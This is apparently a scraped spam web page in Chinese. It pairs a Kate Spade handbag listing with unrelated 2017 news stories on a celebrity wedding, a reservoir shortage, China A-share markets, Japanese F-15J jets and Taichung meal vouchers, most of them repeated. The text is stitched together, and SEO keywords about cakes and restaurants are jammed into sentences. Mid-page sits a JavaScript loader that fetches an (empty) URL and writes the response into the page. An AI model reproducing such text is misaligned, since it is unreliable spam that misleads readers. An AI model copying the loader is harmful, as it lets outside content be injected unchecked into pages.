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商品訊息描述:
Kate spade 三層桃字內裡手提/肩背方形包(綠) (476103-07)
Kate Spade 品牌故事
創辦人 Kate Spade 原名 Katherine Noel Brosnahan,生於美國。
1986 年大學畢業後,Kate 在一本 Mademoiselle 的雜誌工作。在時裝雜誌编採生涯中,
Kate 感到美國缺乏既時尚又實用的手袋,所以決定創立自己的品牌,設計心目中理想的手袋。
品牌名字叫作 Kate Spade,Kate 是她的名字,Spade 是夫姓。
而今,kate spade new york 的產品囊括手袋、首飾、鞋子、服裝、眼鏡、香水等。
Kate Spade 以簡約大方的設計及鮮豔的色彩著名. 在1996年獲得CFDA 美國最有潛力的飾品設計師獎,
於1998年得年度最佳飾品類好吃團購蛋糕推薦設計師獎。
Kate spade 三層桃字內裡手提/肩背方形包(綠) (476103-07)
商品名稱: Kate spade
商品訊息簡述:
★ 專櫃熱銷母親節小禮物批發
★ Kate spade 熱門經典款
★ 時尚大方.品味非凡
2017年01月17日 12:00
7 11母親節蛋糕預購台中母親節餐廳推薦
function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( 'GET' , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}
var theUrl = '';
document.write(httpGet(theUrl));
記者楊奇/綜合報導
南韓明星情侶金泰希和Rain(鄭智薰)自2012年公開交往,感情非常穩定,常被抓包一起出遊、約會,日前兩家人還一塊到濟洲島旅行,讓外界相當好奇是否好事將近,終於17日傳出好消息,兩人將在2月19日舉行婚禮,5年戀情終於修成正果。
?更多「Rain、金泰希結婚」相關新聞請點這
▲金泰希、Rain交往5年,戀情穩定甜蜜。(圖/資料照/翻攝自韓網)
據韓媒《日間體育》報導,Rain和金泰希交往邁入第5年,感情依舊甜蜜蜜,小倆口多次傳出「好事近了」,終於17日傳出好消息,兩人將在2月19日於某教堂舉行結婚儀式,正式結為連理,消息一出讓雙方粉絲都非常興奮,紛紛留言獻上祝福。據悉,兩人僅會邀請親近的親人好友,低調地舉辦婚禮。
▲Rain在IG上證實將娶女友金泰希為妻。(圖/翻攝自Rain IG)
隨後Rain也在IG上證實此事,親手寫下心聲,身為一個出道16年了的偶像歌手,「現在我想在一個家庭裡,成為一個優秀的丈夫和男人」,同時表達對女友金泰希的感謝,「無論辛苦的時候,還是幸福的時候,她都不變地一直陪在我身邊,守護著我、總是給我很多感動」。
?更多「Rain、金泰希結婚」相關新聞請點這
降雨不如預期,新北部分地區、桃園水情拉警報。圖為石門水庫。(水利署提供)
2017-02-0315:47
〔記者楊綿傑/台北報導〕因去年12月起降雨情形不如預期,加上本月2日起桃園及石門農田水利會一期作開始供灌,石門水庫蓄水位持續降低,蓄水量較近10年同期平均少約1800萬噸;水利署北區水資源局於今起針對桃園市、新北市板新地區調整水情燈號,由代表水情正常的藍燈變為代表水情稍緊的綠燈,呼籲民眾節約用水。水利署說,去年12月及今年1月石門水庫集水區累積降雨量僅分別為26毫米及21毫米,為歷年同期降雨量之35%及24%,而石門水庫截至今日上午水位為237.68公尺,有效蓄水量約1億4532萬噸(蓄水量約72%),蓄水量較近10年同期平均已少約1800萬噸。雖春節有零星降雨,但未對水庫帶來足夠入庫水量,因此對相關供水區域發布水情稍緊之燈號。至於應該如何因應,水利署表示,依中央氣象局未來氣候展望,未來一季台灣北部以降雨正常至偏少的機率較高,水利署除持續加強監測,必要時配合天氣狀況實施空中及地面人工增雨作業,並邀集相關單位召開水源調度協調會議,以提高購買水量、加強自來水管壓調控及農業用水採取加強灌溉管理節水開始因應。水利署也提醒民眾,應該節約用水,以延長水庫供水時間,避免缺水危機。
工商時報【富蘭克林華美中國消費暨中國A股基金經理人 游金智】
受到各城市於2016年「十一」長假期間實施房市調控措施,多部委近期再加碼調控,明確指示一、二線城市控房價,三、四線城市去庫存,加以部份銀行不再考核房貸增量 且對降低貸款成數,致使中國房市持續降溫。
這反映在剛公布的2016年12月的70個大中城市住宅銷售數據上,從月增率角度來看,一線城市新建商品住宅價格持平(+0%)、二線城市新建商品住宅價格上漲幅度由0.4%降為0.2%、三線城市新建商品住宅價格上漲幅度由0.8%降為0.4%。
從年增率角度來看,70個大中城市12月新建商品住宅價格上漲幅度由11月的12.6%降至12.4%,結束連續15個月趨勢性上揚,增長幅度放緩。房市持續降溫,有助資金由房入股。
然而為市場擔憂的是中國資金外逃情況,12月外匯占款21.94兆元人民幣(下同),連續14個月下降,2016全年減少2.26兆元;中國外匯存底降至3.01兆美元(截至2016年底),創2011年3月以來最低水位。兩數據體現了中國資金外流情況相當嚴重。
官方為減緩資金外流壓力,已著手從兩方面下手。一方面採取限制措施,除降低大額現金交易報告標準至 5萬元外,要求個人購匯須填寫申請書,且不得用於境外買房、證券投資、購買人壽保險和投資性返還分紅類保險等尚未開放的資本項目。
另一方面採取開放措施,中國國務院公佈「關於擴大對外開放積極利用外資若干措施的通知」,進一步擴大對外開放政策,放寬外資於服務業、製造業、採礦業准入限制;支援外資依法規以特許經營方式參與能源、交通、水利等基礎設施建設;允許外商投資企業參與承擔國家科技計畫項目。
同時允許外商企業可依法規在主板、中小企業板、創業板上市,在新三板掛牌,以及發行企業債券、公司債券、可轉換債券和運用非金融企業債務融資工具進行融資;允許地方政府在法定許可權範圍內,推出招商引資優惠政策;支持中西部地區、東北地區承接外資產業轉移;推進外資跨國公司本外幣資金集中營運管理改革等。
由上可見,中國官方限縮資金外流、吸引外資投資兩頭並進,在一鬆一緊間,朝中共中央經濟工作會議提出的「穩中求進」步調邁進。可以預料在2017年中,官方政策將在鬆緊拿捏中度過。
擴大對外資開放用意除了吸引外資投資中國以降低經濟硬著陸風險外,預期背後更大原因是中國官方期許A股能順利於2017年納入MSCI新興市場指數,A股已連續3年闖關MSCI新興市場指數失敗。
2016年暫緩納入原因為市場准入,歷經了2016年下半年以來,人民幣合格境外機構投資者(RQFII)的額度管理由審批制放寬為備案制、審批制相結合、RQFII擴大試點至18個國家及地區,再到近日的放寬外資准入限制,皆有助A股於2017年6月納入MSCI新興市場指數機率持續提升。
若能如預期納入,牽動的被動資金將為陸股增添資金動能,有助活絡中國資本市場,陸股中長線值得期待。
短線而言,農曆年前預期在市場觀望川普新政與長假效應、限售股解禁高峰(1月限售股解禁約311億股)、新股IPO加速、資金偏緊下,預估陸股以震盪再築底為主。
待農曆年後,資金緊縮緩解、不確定因素降低、技術面雙轉折(週線第89週、月線第13個月轉折)、兩會召開(開幕前10日、閉幕後10日、後20日,上漲機率約60%),預期陸股將有再向上挑戰機會。
▲日本F-15J軍機。(圖/取自維基百科)
國際中心/綜合報導
面對中國軍機頻繁出現在釣魚台情況,日本自衛隊已考慮將從以往的2架應對1架,增加至以4架應對1架。從2016公布的數據顯示,日軍機應對中俄飛機緊急升空達到逾千次,其中中國軍機佔七成,有分析人士指出,這是中國「經典的車輪戰」,解放軍不僅在消磨著日本飛行員的意志,而且不斷消耗著該國F-15戰機的壽命。
近年來,隨著解放軍實力的增強,中國空軍戰機數量愈來愈多,走出去的頻率也就愈來愈高。而中國戰機許多行動都會東出西太平洋,往往只要起飛,日本戰機就會緊急升空進行跟蹤。陸媒形容,「天天這麽折騰,日本戰機飛行員真是快扛不住了」。
▼大陸網站曝光解放軍戰機遭日本F-15J干擾視頻,畫面顯示日本空自939號F-15J離解放軍戰機「非常近」,甚至能清楚看到對方的飛行員的面貌。(圖/翻攝自中國軍視網)
據了解,F-15是日本在上世紀70年代末決定從美國採購,分為單座型F-15J和雙座型F-15DJ,最早的12架是日本從美國購買散件組裝,後面的201架是日方按照許可證生產。而最後1架F-15J是於1998年1月4日交付空自;最後一架F-15DJ於1999年10月25日交付空自。目前,日本航空自衛隊現役F-15J/DJ戰鬥機共201架,其中F-15J單座型165架、F-15DJ雙座型46架。
從裝備時間上看,即使是最年輕的F-15J服役已將近20年,最老的F-15J則已經服役30多年,是台名副其實的老爺機。在結構壽命上,F-15J/DJ由於設計年代較早,所以相對較短僅有4000小時。值得強調的是,F-15最大機動過載使用次數是受到限制的,並非想拉就拉,因為大過載機動使用次數愈多,戰鬥機的結構壽命就愈短。
過去日本空自為了維持對其防空識別區的警戒能力,緊急出動次數一年比一年多。根據日本防衛省公布的數據,2010年度共有96架次戰機升空攔截;到了2015年度已超過900架次;2016年度則來到超過了1000架次的歷史新高。頻繁的緊急出動無疑會進一步加大F-15J/DJ的機體材料疲勞強度、減少F-15J/DJ的結構壽命。
▼F-15戰機因煞車系統失靈迫降。(圖/翻攝自產經新聞)
中國軍媒《解放軍報》也曾在今年2月3日以「F-15J還能折騰多久」為題撰文指出,日本航空自衛隊的F-15J戰鬥機由於頻繁地四處應徵,加之機齡偏高,機體老化現象在近年來漸漸凸顯。據日本媒體報導,從2008年至2015年,日本空自F-15J戰鬥機共發生墜機、零部件墜落等嚴重事故70餘起,造成多人死亡和受傷。
美國說F-35性能比不上殲-20
薩德用地解決陸外交部:後果自負
陸「經典車輪戰」消耗日F-15壽命
陸軍機在釣魚台將以1抵4架F-15
美官員:中國中期目標是進印度洋
韓國防部評估北韓可造10枚核武器
南京2教授做出「航太黑科技」?
美:中國在南沙渚碧島建大型機庫
中國戰機遭地下電台插播阻起降
陸野牛氣墊船2hr載10戰車渡台海
殲15電彈測試?陸傳手繪圖有深意
F-15對抗殲-10已無空中優勢
陸首度海外推銷配AIP的S-26潛艦
F-16V性能提升144架要花166..
2017-02-0320:06
〔記者蘇孟娟/台中報導〕台中市為照顧弱勢學生假期午餐需求,發給學生安心餐券,學生可前往5大超商通路換餐,近日傳出有超商店員發現有家長代學生領餐,擔心資源未真正照顧學生提醒家長卻遭反嗆;教育局指出,限學生自己領餐,但考量學生因年幼或特殊情況,可申請由家長代領,教育局會把名單通報給超商通路查核。台中市率先全國風氣,從103年起考量弱勢學生假期學校未開伙,為避免學生假期餓肚子,每年編列弱勢學生寒暑假暨例假日安心餐券補助約1億8000餘萬元,照顧1萬餘名學生。教育局指出,學生只要持愛心餐券,可到包括統一超商、全家便利商店、萊爾富便利商店、OK超商及台灣楓康超市5大通路業者換餐,每次可換領價值50元的主食餐點。不過,昨日有超商店員在社群網站「爆料公社」反映,看到有家長持一疊餐券自行前來領餐,告知須學生親自來領,反被家長臭臉以對,還回嗆「別家超商都可以」,讓店員十分無奈,更擔心資源未真正照顧學生。教育局強調,為讓學生能真正受惠,確實規定須由學生自行領餐,但部份學校因地理位置限制,可能學生住家附近未必有5大超商通路,距離太遠,須由家長騎車到通路領餐,或學生年幼,家長可申請代領,再由學校通報教育局列冊,將代領名單通知5大通路,家長只要持餐券向通路業者報姓名,核對後即能代領。教育局指出,已往多數家長會帶著子女一起領餐,由家長單獨自行領餐者較少,但過去也曾發生過未在代領名單內的學生突因生病等原因無法自領,由家長出面代領,類似突發狀況已往由超商向教育局承辦人員通報後,請家長留下學生就讀學校及姓名後,也彈性讓家長領取。教育局強調,因學生寒假假期長,假期的安心餐券是採取一次發放的方式,但每張均會壓印日期,每張餐券僅限當日領取,不能逾期或提早領取;過去未曾傳過有學生午餐被家長領走餓肚子的情況。教育局指出,未來會針對學生、家長及廠商端加強宣導相關使用規範,並不定期派員於本市約1200個門市據點對安心午餐券領餐情形進行稽查,以落實資源達到有效的運用。
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99C8689014323951
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2017年01月17日 12:00
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var theUrl = '';
document.write(httpGet(theUrl));
記者楊奇/綜合報導
南韓明星情侶金泰希和Rain(鄭智薰)自2012年公開交往,感情非常穩定,常被抓包一起出遊、約會,日前兩家人還一塊到濟洲島旅行,讓外界相當好奇是否好事將近,終於17日傳出好消息,兩人將在2月19日舉行婚禮,5年戀情終於修成正果。
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▲Rain在IG上證實將娶女友金泰希為妻。(圖/翻攝自Rain IG)
隨後Rain也在IG上證實此事,親手寫下心聲,身為一個出道16年了的偶像歌手,「現在我想在一個家庭裡,成為一個優秀的丈夫和男人」,同時表達對女友金泰希的感謝,「無論辛苦的時候,還是幸福的時候,她都不變地一直陪在我身邊,守護著我、總是給我很多感動」。
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降雨不如預期,新北部分地區、桃園水情拉警報。圖為石門水庫。(水利署提供)
2017-02-0315:47
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受到各城市於2016年「十一」長假期間實施房市調控措施,多部委近期再加碼調控,明確指示一、二線城市控房價,三、四線城市去庫存,加以部份銀行不再考核房貸增量 且對降低貸款成數,致使中國房市持續降溫。
這反映在剛公布的2016年12月的70個大中城市住宅銷售數據上,從月增率角度來看,一線城市新建商品住宅價格持平(+0%)、二線城市新建商品住宅價格上漲幅度由0.4%降為0.2%、三線城市新建商品住宅價格上漲幅度由0.8%降為0.4%。
從年增率角度來看,70個大中城市12月新建商品住宅價格上漲幅度由11月的12.6%降至12.4%,結束連續15個月趨勢性上揚,增長幅度放緩。房市持續降溫,有助資金由房入股。
然而為市場擔憂的是中國資金外逃情況,12月外匯占款21.94兆元人民幣(下同),連續14個月下降,2016全年減少2.26兆元;中國外匯存底降至3.01兆美元(截至2016年底),創2011年3月以來最低水位。兩數據體現了中國資金外流情況相當嚴重。
官方為減緩資金外流壓力,已著手從兩方面下手。一方面採取限制措施,除降低大額現金交易報告標準至 5萬元外,要求個人購匯須填寫申請書,且不得用於境外買房、證券投資、購買人壽保險和投資性返還分紅類保險等尚未開放的資本項目。
另一方面採取開放措施,中國國務院公佈「關於擴大對外開放積極利用外資若干措施的通知」,進一步擴大對外開放政策,放寬外資於服務業、製造業、採礦業准入限制;支援外資依法規以特許經營方式參與能源、交通、水利等基礎設施建設;允許外商投資企業參與承擔國家科技計畫項目。
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由上可見,中國官方限縮資金外流、吸引外資投資兩頭並進,在一鬆一緊間,朝中共中央經濟工作會議提出的「穩中求進」步調邁進。可以預料在2017年中,官方政策將在鬆緊拿捏中度過。
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2016年暫緩納入原因為市場准入,歷經了2016年下半年以來,人民幣合格境外機構投資者(RQFII)的額度管理由審批制放寬為備案制、審批制相結合、RQFII擴大試點至18個國家及地區,再到近日的放寬外資准入限制,皆有助A股於2017年6月納入MSCI新興市場指數機率持續提升。
若能如預期納入,牽動的被動資金將為陸股增添資金動能,有助活絡中國資本市場,陸股中長線值得期待。
短線而言,農曆年前預期在市場觀望川普新政與長假效應、限售股解禁高峰(1月限售股解禁約311億股)、新股IPO加速、資金偏緊下,預估陸股以震盪再築底為主。
待農曆年後,資金緊縮緩解、不確定因素降低、技術面雙轉折(週線第89週、月線第13個月轉折)、兩會召開(開幕前10日、閉幕後10日、後20日,上漲機率約60%),預期陸股將有再向上挑戰機會。
▲日本F-15J軍機。(圖/取自維基百科)
國際中心/綜合報導
面對中國軍機頻繁出現在釣魚台情況,日本自衛隊已考慮將從以往的2架應對1架,增加至以4架應對1架。從2016公布的數據顯示,日軍機應對中俄飛機緊急升空達到逾千次,其中中國軍機佔七成,有分析人士指出,這是中國「經典的車輪戰」,解放軍不僅在消磨著日本飛行員的意志,而且不斷消耗著該國F-15戰機的壽命。
近年來,隨著解放軍實力的增強,中國空軍戰機數量愈來愈多,走出去的頻率也就愈來愈高。而中國戰機許多行動都會東出西太平洋,往往只要起飛,日本戰機就會緊急升空進行跟蹤。陸媒形容,「天天這麽折騰,日本戰機飛行員真是快扛不住了」。
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據了解,F-15是日本在上世紀70年代末決定從美國採購,分為單座型F-15J和雙座型F-15DJ,最早的12架是日本從美國購買散件組裝,後面的201架是日方按照許可證生產。而最後1架F-15J是於1998年1月4日交付空自;最後一架F-15DJ於1999年10月25日交付空自。目前,日本航空自衛隊現役F-15J/DJ戰鬥機共201架,其中F-15J單座型165架、F-15DJ雙座型46架。
從裝備時間上看,即使是最年輕的F-15J服役已將近20年,最老的F-15J則已經服役30多年,是台名副其實的老爺機。在結構壽命上,F-15J/DJ由於設計年代較早,所以相對較短僅有4000小時。值得強調的是,F-15最大機動過載使用次數是受到限制的,並非想拉就拉,因為大過載機動使用次數愈多,戰鬥機的結構壽命就愈短。
過去日本空自為了維持對其防空識別區的警戒能力,緊急出動次數一年比一年多。根據日本防衛省公布的數據,2010年度共有96架次戰機升空攔截;到了2015年度已超過900架次;2016年度則來到超過了1000架次的歷史新高。頻繁的緊急出動無疑會進一步加大F-15J/DJ的機體材料疲勞強度、減少F-15J/DJ的結構壽命。
▼F-15戰機因煞車系統失靈迫降。(圖/翻攝自產經新聞)
中國軍媒《解放軍報》也曾在今年2月3日以「F-15J還能折騰多久」為題撰文指出,日本航空自衛隊的F-15J戰鬥機由於頻繁地四處應徵,加之機齡偏高,機體老化現象在近年來漸漸凸顯。據日本媒體報導,從2008年至2015年,日本空自F-15J戰鬥機共發生墜機、零部件墜落等嚴重事故70餘起,造成多人死亡和受傷。
美國說F-35性能比不上殲-20
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美:中國在南沙渚碧島建大型機庫
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F-16V性能提升144架要花166..
2017-02-0320:06
〔記者蘇孟娟/台中報導〕台中市為照顧弱勢學生假期午餐需求,發給學生安心餐券,學生可前往5大超商通路換餐,近日傳出有超商店員發現有家長代學生領餐,擔心資源未真正照顧學生提醒家長卻遭反嗆;教育局指出,限學生自己領餐,但考量學生因年幼或特殊情況,可申請由家長代領,教育局會把名單通報給超商通路查核。台中市率先全國風氣,從103年起考量弱勢學生假期學校未開伙,為避免學生假期餓肚子,每年編列弱勢學生寒暑假暨例假日安心餐券補助約1億8000餘萬元,照顧1萬餘名學生。教育局指出,學生只要持愛心餐券,可到包括統一超商、全家便利商店、萊爾富便利商店、OK超商及台灣楓康超市5大通路業者換餐,每次可換領價值50元的主食餐點。不過,昨日有超商店員在社群網站「爆料公社」反映,看到有家長持一疊餐券自行前來領餐,告知須學生親自來領,反被家長臭臉以對,還回嗆「別家超商都可以」,讓店員十分無奈,更擔心資源未真正照顧學生。教育局強調,為讓學生能真正受惠,確實規定須由學生自行領餐,但部份學校因地理位置限制,可能學生住家附近未必有5大超商通路,距離太遠,須由家長騎車到通路領餐,或學生年幼,家長可申請代領,再由學校通報教育局列冊,將代領名單通知5大通路,家長只要持餐券向通路業者報姓名,核對後即能代領。教育局指出,已往多數家長會帶著子女一起領餐,由家長單獨自行領餐者較少,但過去也曾發生過未在代領名單內的學生突因生病等原因無法自領,由家長出面代領,類似突發狀況已往由超商向教育局承辦人員通報後,請家長留下學生就讀學校及姓名後,也彈性讓家長領取。教育局強調,因學生寒假假期長,假期的安心餐券是採取一次發放的方式,但每張均會壓印日期,每張餐券僅限當日領取,不能逾期或提早領取;過去未曾傳過有學生午餐被家長領走餓肚子的情況。教育局指出,未來會針對學生、家長及廠商端加強宣導相關使用規範,並不定期派員於本市約1200個門市據點對安心午餐券領餐情形進行稽查,以落實資源達到有效的運用。
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